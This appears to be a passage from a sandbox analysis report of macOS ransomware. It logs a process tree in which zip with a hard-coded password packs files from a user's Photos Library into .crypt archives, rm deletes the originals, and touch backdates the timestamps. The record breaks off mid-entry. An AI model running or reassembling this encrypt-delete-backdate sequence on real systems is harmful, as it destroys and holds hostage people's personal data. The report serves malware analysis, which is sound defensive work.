  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:854
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:855
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd"
  2⤵
  PID:855
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:856
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:857
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist"
  2⤵
  PID:857
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/appPrivateData.plist.crypt"
  2⤵
  PID:858
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:859
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:860
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches"
  2⤵
  PID:860
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:861
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:862
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/variation"
  2⤵
  PID:862
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:863
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:864
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable"
  2⤵
  PID:864
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/libraryavailable.crypt"
  2⤵
  PID:865
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:866
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:867
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00"
  2⤵
  PID:867
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/CreateDatabase_20210129-035905-08:00.crypt"
  2⤵
  PID:868
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:869
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:870
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photolibraryd/caches/clientservertransaction"
  2⤵
  PID:870
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:871
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:872
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd"
  2⤵
  PID:872
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:873
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:874
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches"
  2⤵
  PID:874
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:875
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:876
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph"
  2⤵
  PID:876
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:877
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:878
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite"
  2⤵
  PID:878
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite.crypt"
  2⤵
  PID:879
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:880
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:881
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist"
  2⤵
  PID:881
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/changetoken.plist.crypt"
  2⤵
  PID:882
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:883
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:884
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite"
  2⤵
  PID:884
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite.crypt"
  2⤵
  PID:885
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  PID:886
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  - Resource Forking
  PID:887
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal"
  2⤵
  PID:887
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-wal.crypt"
  2⤵
  PID:888
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:889
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:890
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal"
  2⤵
  PID:890
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-wal.crypt"
  2⤵
  PID:891
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  PID:892
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  PID:893
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal"
  2⤵
  - Resource Forking
  PID:893
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-wal.crypt"
  2⤵
  - Resource Forking
  PID:894
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  PID:895
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  - Resource Forking
  PID:896
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm"
  2⤵
  - Resource Forking
  PID:896
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite-shm.crypt"
  2⤵
  PID:897
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:898
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:899
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm"
  2⤵
  PID:899
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.AOI.sqlite-shm.crypt"
  2⤵
  PID:900
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:901
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:902
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm"
  2⤵
  PID:902
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSPublicEventCache.sqlite-shm.crypt"
  2⤵
  PID:903
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:904
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:905
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal"
  2⤵
  PID:905
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-wal.crypt"
  2⤵
  PID:906
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:907
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:908
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite"
  2⤵
  PID:908
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSContactCache.sqlite.crypt"
  2⤵
  PID:909
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:910
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:911
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite"
  2⤵
  PID:911
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite.crypt"
  2⤵
  PID:912
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:913
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:914
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm"
  2⤵
  PID:914
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite-shm.crypt"
  2⤵
  PID:915
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:916
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:917
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal"
  2⤵
  PID:917
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-wal.crypt"
  2⤵
  PID:918
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  PID:919
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  - Resource Forking
  PID:920
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite"
  2⤵
  PID:920
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.Nature.sqlite.crypt"
  2⤵
  PID:921
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:922
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:923
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm"
  2⤵
  PID:923
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite-shm.crypt"
  2⤵
  PID:924
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:925
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:926
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite"
  2⤵
  PID:926
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGCurationCache.sqlite.sqlite.crypt"
  2⤵
  PID:927
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:928
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:929
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal"
  2⤵
  PID:929
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-wal.crypt"
  2⤵
  PID:930
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:931
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:932
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm"
  2⤵
  PID:932
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.POI.sqlite-shm.crypt"
  2⤵
  PID:933
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:934
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:935
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist"
  2⤵
  PID:935
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PGSearchComputationCache.plist.crypt"
  2⤵
  PID:936
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  - Resource Forking
  PID:937
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  PID:938
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal"
  2⤵
  PID:938
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-wal.crypt"
  2⤵
  PID:939
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  - Resource Forking
  PID:940
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  - Resource Forking
  PID:941
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm"
  2⤵
  PID:941
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSLocationCache.sqlite-shm.crypt"
  2⤵
  PID:942
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:943
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:944
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite"
  2⤵
  PID:944
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/CLSBusinessCategoryCache.ROI.sqlite.crypt"
  2⤵
  PID:945
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:946
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:947
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph"
  2⤵
  PID:947
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:948
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private/com.apple.photoanalysisd/caches/graph/PhotosGraph/construction-photosgraph.kgdb-shm"
  2⤵
  PID:949
- /bin/rm
